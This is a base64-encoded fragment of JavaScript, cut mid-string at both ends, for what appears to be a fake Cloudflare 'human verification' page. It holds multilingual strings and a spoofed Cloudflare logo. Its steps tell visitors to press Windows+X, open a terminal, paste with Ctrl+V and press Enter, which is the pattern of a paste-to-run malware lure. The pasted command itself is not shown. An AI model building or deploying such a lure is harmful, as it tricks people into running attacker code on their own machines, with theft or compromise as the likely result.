BWZXJiaW5kdW5nIFx1MDBmY2JlcnByXHUwMGZjZmVuLicsd2luZG93c0tleUhlbHA6J0RhcyBpc3QgZGllIFdpbmRvd3MtVGFzdGUsIHVudGVuIGF1ZiBkZXIgVGFzdGF0dXIgendpc2NoZW4gU3RyZyB1bmQgQWx0LCB1bnRlciBkZXIgWi1UYXN0ZSd9LGZyOntub3RSb2JvdFRleHQ6J0plIG5lIHN1aXMgcGFzIHVuIHJvYm90Jyx2ZXJpZnlpbmdUZXh0OidWXHUwMGU5cmlmaWNhdGlvblx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1ZcdTAwZTlyaWZpY2F0aW9uIGh1bWFpbmUnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidTdWl2ZXogbGVzIFx1MDBlOXRhcGVzIGNpLWRlc3NvdXMnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyJyx0aW1lUmVtYWluaW5nOidUZW1wcyByZXN0YW50Jyx3YXJuaW5nMzBTZWNvbmRzOidNb2lucyBkZSAzMCBzZWNvbmRlcyAhJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J291IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50clx1MDBlOWUgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J0NvbmZpZGVudGlhbGl0XHUwMGU5Jyx0ZXJtc0xpbms6J0NvbmRpdGlvbnMnLHNlY3VyaXR5TWVzc2FnZTonZG9pdCB2XHUwMGU5cmlmaWVyIGxhIHNcdTAwZTljdXJpdFx1MDBlOSBkZSB2b3RyZSBjb25uZXhpb24uJyx3aW5kb3dzS2V5SGVscDonQ1wnZXN0IGxhIHRvdWNoZSBXaW5kb3dzLCBlbiBiYXMgZHUgY2xhdmllciBlbnRyZSBDdHJsIGV0IEFsdCwgc291cyBsYSB0b3VjaGUgWid9LGVzOntub3RSb2JvdFRleHQ6J05vIHNveSB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonQ29tcHJvYmFuZG9cdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYWNpXHUwMGYzbiBodW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb21wbGV0YSBsb3MgcGFzb3MgYWJham8nLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvJyx0aW1lUmVtYWluaW5nOidUaWVtcG8gcmVzdGFudGUnLHdhcm5pbmczMFNlY29uZHM6J1x1MDBhMU1lbm9zIGRlIDMwIHNlZ3VuZG9zIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY2lkYWQnLHRlcm1zTGluazonVFx1MDBlOXJtaW5vcycsc2VjdXJpdHlNZXNzYWdlOidkZWJlIHJldmlzYXIgbGEgc2VndXJpZGFkIGRlIHR1IGNvbmV4aVx1MDBmM24uJyx3aW5kb3dzS2V5SGVscDonRXN0YSBlcyBsYSB0ZWNsYSBkZSBXaW5kb3dzLCBlbiBsYSBwYXJ0ZSBpbmZlcmlvciBkZWwgdGVjbGFkbyBlbnRyZSBDdHJsIHkgQWx0LCBiYWpvIGxhIHRlY2xhIFonfSxpdDp7bm90Um9ib3RUZXh0OidOb24gc29ubyB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonVmVyaWZpY2FcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYSB1bWFuYScsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0NvbXBsZXRhIGkgcGFzc2FnZ2kgc2VndWVudGknLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFc2VndWkgaSBwYXNzYWdnaSBzdWxsYSB0dWEgdGFzdGllcmEnLHRpbWVSZW1haW5pbmc6J1RlbXBvIHJpbWFuZW50ZScsd2FybmluZzMwU2Vjb25kczonTWVubyBkaSAzMCBzZWNvbmRpIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY3knLHRlcm1zTGluazonVGVybWluaScsc2VjdXJpdHlNZXNzYWdlOidkZXZlIHZlcmlmaWNhcmUgbGEgc2ljdXJlenphIGRlbGxhIGNvbm5lc3Npb25lLicsd2luZG93c0tleUhlbHA6J1F1ZXN0byBcdTAwZTggaWwgdGFzdG8gV2luZG93cywgaW4gYmFzc28gc3VsbGEgdGFzdGllcmEgdHJhIEN0cmwgZSBBbHQsIHNvdHRvIGlsIHRhc3RvIFonfSxwdDp7bm90Um9ib3RUZXh0OidOXHUwMGUzbyBzb3UgdW0gcm9iXHUwMGY0Jyx2ZXJpZnlpbmdUZXh0OidWZXJpZmljYW5kb1x1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1ZlcmlmaWNhXHUwMGU3XHUwMGUzbyBodW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb25jbHVhIGFzIGV0YXBhcyBhYmFpeG8nLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidFeGVjdXRlIGFzIGV0YXBhcyBubyBzZXUgdGVjbGFkbycsdGltZVJlbWFpbmluZzonVGVtcG8gcmVzdGFudGUnLHdhcm5pbmczMFNlY29uZHM6J01lbm9zIGRlIDMwIHNlZ3VuZG9zIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvdSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWNpZGFkZScsdGVybXNMaW5rOidUZXJtb3MnLHNlY3VyaXR5TWVzc2FnZToncHJlY2lzYSB2ZXJpZmljYXIgYSBzZWd1cmFuXHUwMGU3YSBkYSBjb25leFx1MDBlM28uJyx3aW5kb3dzS2V5SGVscDonRXN0YSBcdTAwZTkgYSB0ZWNsYSBXaW5kb3dzLCBuYSBwYXJ0ZSBpbmZlcmlvciBkbyB0ZWNsYWRvIGVudHJlIEN0cmwgZSBBbHQsIGFiYWl4byBkYSB0ZWNsYSBaJ30semg6e25vdFJvYm90VGV4dDonXHU2MjExXHU0ZTBkXHU2NjJmXHU2NzNhXHU1NjY4XHU0ZWJhJyx2ZXJpZnlpbmdUZXh0OidcdTZiNjNcdTU3MjhcdTY4YzBcdTY3ZTVcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTRlYmFcdTVkZTVcdTlhOGNcdThiYzEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdThiZjdcdTViOGNcdTYyMTBcdTRlZTVcdTRlMGJcdTZiNjVcdTlhYTQnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjhcdTk1MmVcdTc2ZDhcdTRlMGFcdTYyNjdcdTg4NGNcdTRlZTVcdTRlMGJcdTZiNjVcdTlhYTQnLHRpbWVSZW1haW5pbmc6J1x1NTI2OVx1NGY1OVx1NjVmNlx1OTVmNCcsd2FybmluZzMwU2Vjb25kczonXHU1MjY5XHU0ZjU5XHU0ZTBkXHU4ZGIzMzBcdTc5ZDJcdWZmMDEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonXHU5MDA5XHU2MmU5IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1x1OTY5MFx1NzljMScsdGVybXNMaW5rOidcdTY3NjFcdTZiM2UnLHNlY3VyaXR5TWVzc2FnZTonXHU5NzAwXHU4OTgxXHU2OGMwXHU2N2U1XHU2MGE4XHU3Njg0XHU4ZmRlXHU2M2E1XHU1Yjg5XHU1MTY4XHU2MDI3XHUzMDAyJyx3aW5kb3dzS2V5SGVscDonXHU4ZmQ5XHU2NjJmIFdpbmRvd3MgXHU5NTJlXHVmZjBjXHU0ZjRkXHU0ZThlXHU5NTJlXHU3NmQ4XHU1ZTk1XHU5MGU4IEN0cmwgXHU1NDhjIEFsdCBcdTRlNGJcdTk1ZjRcdWZmMGNaIFx1OTUyZVx1NGUwYlx1NjViOSd9LGphOntub3RSb2JvdFRleHQ6J1x1NzljMVx1MzA2Zlx1MzBlZFx1MzBkY1x1MzBjM1x1MzBjOFx1MzA2N1x1MzA2Zlx1MzA0Mlx1MzA4YVx1MzA3ZVx1MzA1Ylx1MzA5MycsdmVyaWZ5aW5nVGV4dDonXHU3OGJhXHU4YThkXHU0ZTJkXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonXHU0ZWJhXHU5NTkzXHU3OGJhXHU4YThkJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHU0ZWU1XHU0ZTBiXHUzMDZlXHU2MjRiXHU5ODA2XHUzMDkyXHU1YjhjXHU0ZTg2XHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0JyxrZXlib2FyZEluc3RydWN0aW9uczonXHUzMGFkXHUzMGZjXHUzMGRjXHUzMGZjXHUzMGM5XHUzMDY3XHU2MjRiXHU5ODA2XHUzMDkyXHU1YjlmXHU4ODRjXHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0Jyx0aW1lUmVtYWluaW5nOidcdTZiOGJcdTMwOGFcdTY2NDJcdTk1OTMnLHdhcm5pbmczMFNlY29uZHM6J1x1NmI4Ylx1MzA4YTMwXHU3OWQyXHU2NzJhXHU2ZTgwXHVmZjAxJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J1x1MzA3ZVx1MzA1Zlx1MzA2ZiBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidcdTMwZDdcdTMwZTlcdTMwYTRcdTMwZDBcdTMwYjdcdTMwZmMnLHRlcm1zTGluazonXHU4OThmXHU3ZDA0JyxzZWN1cml0eU1lc3NhZ2U6J1x1NjNhNVx1N2Q5YVx1MzA2ZVx1NWI4OVx1NTE2OFx1NjAyN1x1MzA5Mlx1NzhiYVx1OGE4ZFx1MzA1OVx1MzA4Ylx1NWZjNVx1ODk4MVx1MzA0Y1x1MzA0Mlx1MzA4YVx1MzA3ZVx1MzA1OVx1MzAwMicsd2luZG93c0tleUhlbHA6J1x1MzA1M1x1MzA4Y1x1MzA2ZiBXaW5kb3dzIFx1MzBhZFx1MzBmY1x1MzA2N1x1MzA1OVx1MzAwMlx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1NGUwYlx1OTBlOFx1MzA2ZSBDdHJsIFx1MzA2OCBBbHQgXHUzMDZlXHU5NTkzXHUzMDAxWiBcdTMwYWRcdTMwZmNcdTMwNmVcdTRlMGJcdTMwNmJcdTMwNDJcdTMwOGFcdTMwN2VcdTMwNTknfSxrbzp7bm90Um9ib3RUZXh0OidcdWIwOThcdWIyOTQgXHViODVjXHViZDA3XHVjNzc0IFx1YzU0NFx1YjJkOVx1YjJjOFx1YjJlNCcsdmVyaWZ5aW5nVGV4dDonXHVkNjU1XHVjNzc4IFx1YzkxMVx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1YzBhY1x1Yjc4YyBcdWQ2NTVcdWM3NzgnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdWM1NDRcdWI3OTggXHViMmU4XHVhY2M0XHViOTdjIFx1YzY0NFx1YjhjY1x1ZDU1OFx1YzEzOFx1YzY5NCcsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1ZDBhNFx1YmNmNFx1YjRkY1x1Yjg1YyBcdWIyZThcdWFjYzRcdWI5N2MgXHVjMjE4XHVkNTg5XHVkNTU4XHVjMTM4XHVjNjk0Jyx0aW1lUmVtYWluaW5nOidcdWIwYThcdWM3NDAgXHVjMmRjXHVhYzA0Jyx3YXJuaW5nMzBTZWNvbmRzOiczMFx1Y2QwOCBcdWJiZjhcdWI5Y2MgXHViMGE4XHVjNzRjIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdWI2MTBcdWIyOTQgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHVhYzFjXHVjNzc4XHVjODE1XHViY2Y0Jyx0ZXJtc0xpbms6J1x1YzU3ZFx1YWQwMCcsc2VjdXJpdHlNZXNzYWdlOidcdWM1ZjBcdWFjYjAgXHViY2Y0XHVjNTQ4XHVjNzQ0IFx1ZDY1NVx1Yzc3OFx1ZDU3NFx1YzU3YyBcdWQ1NjlcdWIyYzhcdWIyZTQuJyx3aW5kb3dzS2V5SGVscDonXHVjNzc0XHVhYzgzXHVjNzQwIFdpbmRvd3MgXHVkMGE0XHVjNzg1XHViMmM4XHViMmU0LiBcdWQwYTRcdWJjZjRcdWI0ZGMgXHVkNTU4XHViMmU4XHVjNzU4IEN0cmxcdWFjZmMgQWx0IFx1YzBhY1x1Yzc3NCwgWiBcdWQwYTQgXHVjNTQ0XHViNzk4XHVjNWQwIFx1Yzc4OFx1YzJiNVx1YjJjOFx1YjJlNCd9LHRyOntub3RSb2JvdFRleHQ6J0JlbiByb2JvdCBkZVx1MDExZmlsaW0nLHZlcmlmeWluZ1RleHQ6J0tvbnRyb2wgZWRpbGl5b3JcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTAxMzBuc2FuIGRvXHUwMTFmcnVsYW1hc1x1MDEzMScsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0FcdTAxNWZhXHUwMTFmXHUwMTMxZGFraSBhZFx1MDEzMW1sYXJcdTAxMzEgdGFtYW1sYXlcdTAxMzFuJyxrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIGtsYXZ5ZW5pemRlIGdlclx1MDBlN2VrbGVcdTAxNWZ0aXJpbicsdGltZVJlbWFpbmluZzonS2FsYW4gc1x1MDBmY3JlJyx3YXJuaW5nMzBTZWNvbmRzOiczMCBzYW5peWVkZW4gYXoga2FsZFx1MDEzMSEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDondmV5YSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidHaXpsaWxpaycsdGVybXNMaW5rOidcdTAxNWVhcnRsYXInLHNlY3VyaXR5TWVzc2FnZTonYmFcdTAxMWZsYW50XHUwMTMxblx1MDEzMXpcdTAxMzFuIGdcdTAwZmN2ZW5saVx1MDExZmluaSBrb250cm9sIGV0bWVzaSBnZXJla2l5b3IuJyx3aW5kb3dzS2V5SGVscDonQnUgV2luZG93cyB0dVx1MDE1ZnVkdXIsIGtsYXZ5ZW5pemluIGFsdCBrXHUwMTMxc21cdTAxMzFuZGEgQ3RybCB2ZSBBbHQgYXJhc1x1MDEzMW5kYSwgWiB0dVx1MDE1ZnVudW4gYWx0XHUwMTMxbmRhIGJ1bHVudXInfSxhcjp7bm90Um9ib3RUZXh0OidcdTA2NDRcdTA2MzNcdTA2MmEgXHUwNjI4XHUwNjMxXHUwNjQ2XHUwNjI3XHUwNjQ1XHUwNjJjIFx1MDYzMVx1MDY0OFx1MDYyOFx1MDY0OFx1MDYyYScsdmVyaWZ5aW5nVGV4dDonXHUwNjJjXHUwNjI3XHUwNjMxXHUwNjRkIFx1MDYyN1x1MDY0NFx1MDYyYVx1MDYyZFx1MDY0Mlx1MDY0Mlx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1MDYyN1x1MDY0NFx1MDYyYVx1MDYyZFx1MDY0Mlx1MDY0MiBcdTA2MjdcdTA2NDRcdTA2MjhcdTA2MzRcdTA2MzFcdTA2NGEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidcdTA2MjNcdTA2NDNcdTA2NDVcdTA2NDQgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYyM1x1MDYyZlx1MDY0Nlx1MDYyN1x1MDY0Nycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2MjdcdTA2NDRcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQnLHRpbWVSZW1haW5pbmc6J1x1MDYyN1x1MDY0NFx1MDY0OFx1MDY0Mlx1MDYyYSBcdTA2MjdcdTA2NDRcdTA2NDVcdTA2MmFcdTA2MjhcdTA2NDJcdTA2NGEnLHdhcm5pbmczMFNlY29uZHM6J1x1MDYyM1x1MDY0Mlx1MDY0NCBcdTA2NDVcdTA2NDYgMzAgXHUwNjJiXHUwNjI3XHUwNjQ2XHUwNjRhXHUwNjI5IScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdTA2MjNcdTA2NDggVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM1XHUwNjQ4XHUwNjM1XHUwNjRhXHUwNjI5Jyx0ZXJtc0xpbms6J1x1MDYyN1x1MDY0NFx1MDYzNFx1MDYzMVx1MDY0OFx1MDYzNycsc2VjdXJpdHlNZXNzYWdlOidcdTA2NGFcdTA2MmRcdTA2MmFcdTA2MjdcdTA2MmMgXHUwNjI1XHUwNjQ0XHUwNjQ5IFx1MDY0NVx1MDYzMVx1MDYyN1x1MDYyY1x1MDYzOVx1MDYyOSBcdTA2MjNcdTA2NDVcdTA2MjdcdTA2NDYgXHUwNjI3XHUwNjJhXHUwNjM1XHUwNjI3XHUwNjQ0XHUwNjQzLicsd2luZG93c0tleUhlbHA6J1x1MDY0N1x1MDYzMFx1MDYyNyBcdTA2NDdcdTA2NDggXHUwNjQ1XHUwNjQxXHUwNjJhXHUwNjI3XHUwNjJkIFdpbmRvd3NcdTA2MGMgXHUwNjQxXHUwNjRhIFx1MDYyM1x1MDYzM1x1MDY0MVx1MDY0NCBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkIFx1MDYyOFx1MDY0YVx1MDY0NiBDdHJsIFx1MDY0OCBBbHRcdTA2MGMgXHUwNjJhXHUwNjJkXHUwNjJhIFx1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBaJ319Ow0KDQogICAgICAgICAgICB2YXIgbGFuZ0NvZGUgPSBnZXRCcm93c2VyTGFuZ3VhZ2VDb2RlKCk7DQogICAgICAgICAgICBpZiAodHJhbnNsYXRpb25zW2xhbmdDb2RlXSkgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cmFuc2xhdGlvbnNbbGFuZ0NvZGVdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gdHJhbnNsYXRpb25zLmVuOw0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFVJX1RSQU5TTEFUSU9OUyA9IG1lcmdlT3NJbnN0cnVjdGlvblN0ZXBzKGdldFRyYW5zbGF0ZWRTdHJpbmdzKCksIGdldEJyb3dzZXJMYW5ndWFnZUNvZGUoKSk7DQogICAgICAgIHZhciBTVEVQMl9IVE1MID0gYnVpbGRTdGVwMkh0bWwoVUlfVFJBTlNMQVRJT05TKTsNCg0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9MT0dPX1NWRyA9ICc8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDE4MCA1MCI+PHBhdGggZmlsbD0iI0ZCQUQ0MSIgZD0iTTM4LjUgMzIuMmMuMS0uNC4xLS44LjEtMS4yIDAtNC4xLTMuMy03LjQtNy40LTcuNC0xLjIgMC0yLjQuMy0zLjQuOC0uOS0yLjUtMy4zLTQuMi02LjEtNC4yLTMuNiAwLTYuNSAyLjktNi41IDYuNSAwIC42LjEgMS4zLjMgMS45QzEzLjQgMjkuMiAxMiAzMC44IDEyIDMyLjhjMCAuNS4xIDEgLjMgMS40aDI2Yy40LS44LjMtMS41LjItMnoiLz48cGF0aCBmaWxsPSIjRjY4MjFGIiBkPSJNMzYuOCAzNC4ySDEzYy0uNSAwLS45LS4zLTEtLjhsLS41LTEuOWMtLjEuNC0uMS44LS4xIDEuMiAwIDEuMiAxIDIuMiAyLjIgMi4yaC45Yy4zIDEuNiAxLjggMi44IDMuNiAyLjhIMzJjMiAwIDMuNi0xLjMgNC4xLTMuMWwuNS0xLjhjLjItLjQtLjMtLjYtLjgtLjYuMSAwIC4yLjEuMi4ybC44IDEuOHoiLz48dGV4dCB4PSI0OCIgeT0iMzUiIGZvbnQtZmFtaWx5PSJBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZiIgZm9udC1zaXplPSIxOCIgZm9udC13ZWlnaHQ9IjcwMCIgZmlsbD0iI0Y2ODIxRiI+Y2xvdWRmbGFyZTwvdGV4dD48L3N2Zz4nOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0xPR09fQkFTRTY0ID0gJ2RhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsJyArIGJ0b2EoQ0xPVURGTEFSRV9MT0dPX1NWRyk7DQoNCiAgICAgICAgdmFyIElTX0xJR0hUX01PREUgPSAhISh3aW5kb3cubWF0Y2hNZWRpYSAmJiB3aW5kb3cubWF0Y2hNZWRpYSgnKHByZWZlcnMtY29sb3Itc2NoZW1lOmxpZ2h0KScpLm1hdGNoZXMpOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcgPSAnPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMDEuNCAzMy41Ij48ZGVmcz48c3R5bGU+LmF7ZmlsbDojZmZmfS5ie2ZpbGw6I2Y0ODEyMH0uY3tmaWxsOiNmYWFkM2Z9LmR7ZmlsbDonICsgKElTX0xJR0hUX01PREUgPyAnIzQwNDA0MScgOiAnI2ZmZicpICsgJ308L3N0eWxlPjwvZGVmcz48cGF0aCBjbGFzcz0iYSIgZD0iTTk0LjcsMTAuNiw4OS4xLDkuM2wtMS0uNC0yNS43LjJWMjEuNWwzMi4zLjFaIi8+PHBhdGggY2xhc3M9ImIiIGQ9Ik04NC4yLDIwLjRhMi44NTU0NiwyLjg1NTQ2LDAsMCwwLS4zLTIuNiwzLjA5NDI4LDMuMDk0MjgsMCwwLDAtMi4xLTEuMWwtMTcuNC0uMmMtLjEsMC0uMi0uMS0uMy0uMWEuMTg3NS4xODc1LDAsMCwxLDAtLjNjLjEtLjIuMi0uMy40LS4zTDgyLDE1LjZhNi4yOTIyMyw2LjI5MjIzLDAsMCwwLDUuMS0zLjhsMS0yLjZjMC0uMS4xLS4yLDAtLjNBMTEuMzk2NDYsMTEuMzk2NDYsMCwwLDAsNjYuMiw3LjdhNS40NTk0MSw1LjQ1OTQxLDAsMCwwLTMuNi0xQTUuMjA5MzYsNS4yMDkzNiwwLDAsMCw1OCwxMS4zYTUuNDYyNjIsNS40NjI2MiwwLDAsMCwuMSwxLjhBNy4zMDE3Nyw3LjMwMTc3LDAsMCwwLDUxLDIwLjRhNC4xMDIsNC4xMDIsMCwwLDAsLjEsMS4xLjMxOTMuMzE5MywwLDAsMCwuMy4zSDgzLjVjLjIsMCwuNC0uMS40LS4zWiIvPjxwYXRoIGNsYXNzPSJjIiBkPSJNODkuNyw5LjJoLS41Yy0uMSwwLS4yLjEtLjMuMmwtLjcsMi40YTIuODU1NDYsMi44NTU0NiwwLDAsMCwuMywyLjYsMy4wOTQyOCwzLjA5NDI4LDAsMCwwLDIuMSwxLjFsMy43LjJjLjEsMCwuMi4xLjMuMWEuMTg3NS4xODc1LDAsMCwxLDAsLjNjLS4xLjItLjIuMy0uNC4zbC0zLjguMmE2LjI5MjIzLDYuMjkyMjMsMCwwLDAtNS4xLDMuOGwtLjIuOWMtLjEuMSwwLC4zLjIuM0g5OC41YS4yNjUxNy4yNjUxNywwLDAsMCwuMy0uMywxMC44NzE4NCwxMC44NzE4NCwwLDAsMCwuNC0yLjYsOS41NjA0NSw5LjU2MDQ1LDAsMCwwLTkuNS05LjUiLz48cGF0aCBjbGFzcz0iZCIgZD0iTTEwMC41LDI3LjJhLjkuOSwwLDEsMSwuOS0uOS44OTYyNi44OTYyNiwwLDAsMS0uOS45bTAtMS42YS43LjcsMCwxLDAsLjcuNy42ODM1NC42ODM1NCwwLDAsMC0uNy0uN20uNCwxLjJoLS4ybC0uMi0uM2gtLjJ2LjNoLS4ydi0uOWguNWEuMjY1MTcuMjY1MTcsMCwwLDEsLjMuM2MwLC4xLS4xLjItLjIuM2wuMi4zWm0tLjMtLjVjLjEsMCwuMSwwLC4xLS4xYS4wOTc5NC4wOTc5NCwwLDAsMC0uMS0uMWgtLjN2LjNoLjNabS04OS43LS45aDIuMnY2aDMuOHYxLjloLTZabTguMywzLjlhNC4xMDQ5MSw0LjEwNDkxLDAsMCwxLDQuMy00LjEsNC4wMiw0LjAyLDAsMCwxLDQuMiw0LjEsNC4xMDQ5MSw0LjEwNDkxLDAsMCwxLTQuMyw0LjEsNC4wNzg4OCw0LjA3ODg4LDAsMCwxLTQuMi00LjFtNi4zLDBhMi4wNTU2NSwyLjA1NTY1LDAsMCwwLTItMi4yLDIuMTAyNSwyLjEwMjUsMCwwLDAsMCw0LjJjMS4yLjIsMi0uOCwyLTJtNC45LjVWMjUuNGgyLjJ2NC40YzAsMS4xLjYsMS43LDEuNSwxLjdhMS4zOTkyNiwxLjM5OTI2LDAsMCwwLDEuNS0xLjZWMjUuNGgyLjJ2NC40YzAsMi42LTEuNSwzLjctMy43LDMuNy0yLjMtLjEtMy43LTEuMi0zLjctMy43bTEwLjctNC40aDMuMWMyLjgsMCw0LjUsMS42LDQuNSwzLjlzLTEuNyw0LTQuNSw0aC0zVjI1LjRabTMuMSw1LjlhMi4wMDkwOSwyLjAwOTA5LDAsMSwwLDAtNGgtLjl2NFptNy42LTUuOWg2LjN2MS45SDU0djEuM2gzLjd2MS44SDU0djIuOUg1MS44Wm05LjQsMGgyLjJ2NmgzLjh2MS45aC02Wm0xMS43LS4xaDIuMmwzLjQsOEg3Ni4xbC0uNi0xLjRINzIuNGwtLjYsMS40SDY5LjVabTIsNC45TDc0LDI4bC0uOSwyLjJabTYuNC00LjhIODVhMy40MTgxOCwzLjQxODE4LDAsMCwxLDIuNi45LDIuNjIzNzMsMi42MjM3MywwLDAsMS0uOSw0LjJsMS45LDIuOEg4Ni4xbC0xLjYtMi40aC0xdjIuNEg4MS4zWm0zLjYsMy44Yy43LDAsMS4yLS40LDEuMi0uOSwwLS42LS41LS45LTEuMi0uOUg4My41djEuOWgxLjRabTYuNS0zLjhoNi40djEuOEg5My42djEuMmgzLjh2MS44SDkzLjZ2MS4yaDQuM3YxLjlIOTEuNFpNNi4xLDMwLjNhMS45NzU0OCwxLjk3NTQ4LDAsMCwxLTEuOCwxLjIsMi4xMDI1LDIuMTAyNSwwLDAsMSwwLTQuMiwyLjA5NzcsMi4wOTc3LDAsMCwxLDEuOSwxLjNIOC41YTQuMTM0NTksNC4xMzQ1OSwwLDAsMC00LjItMy4zQTQuMTY1MSw0LjE2NTEsMCwwLDAsMCwyOS40YTQuMDc4ODgsNC4wNzg4OCwwLDAsMCw0LjIsNC4xLDQuMzE4MTIsNC4zMTgxMiwwLDAsMCw0LjItMy4yWiIvPjwvc3ZnPic7DQoNCiAgICAgICAgdmFyIENMT1VERkxBUkVfRlVMTF9MT0dPX0JBU0U2NCA9ICd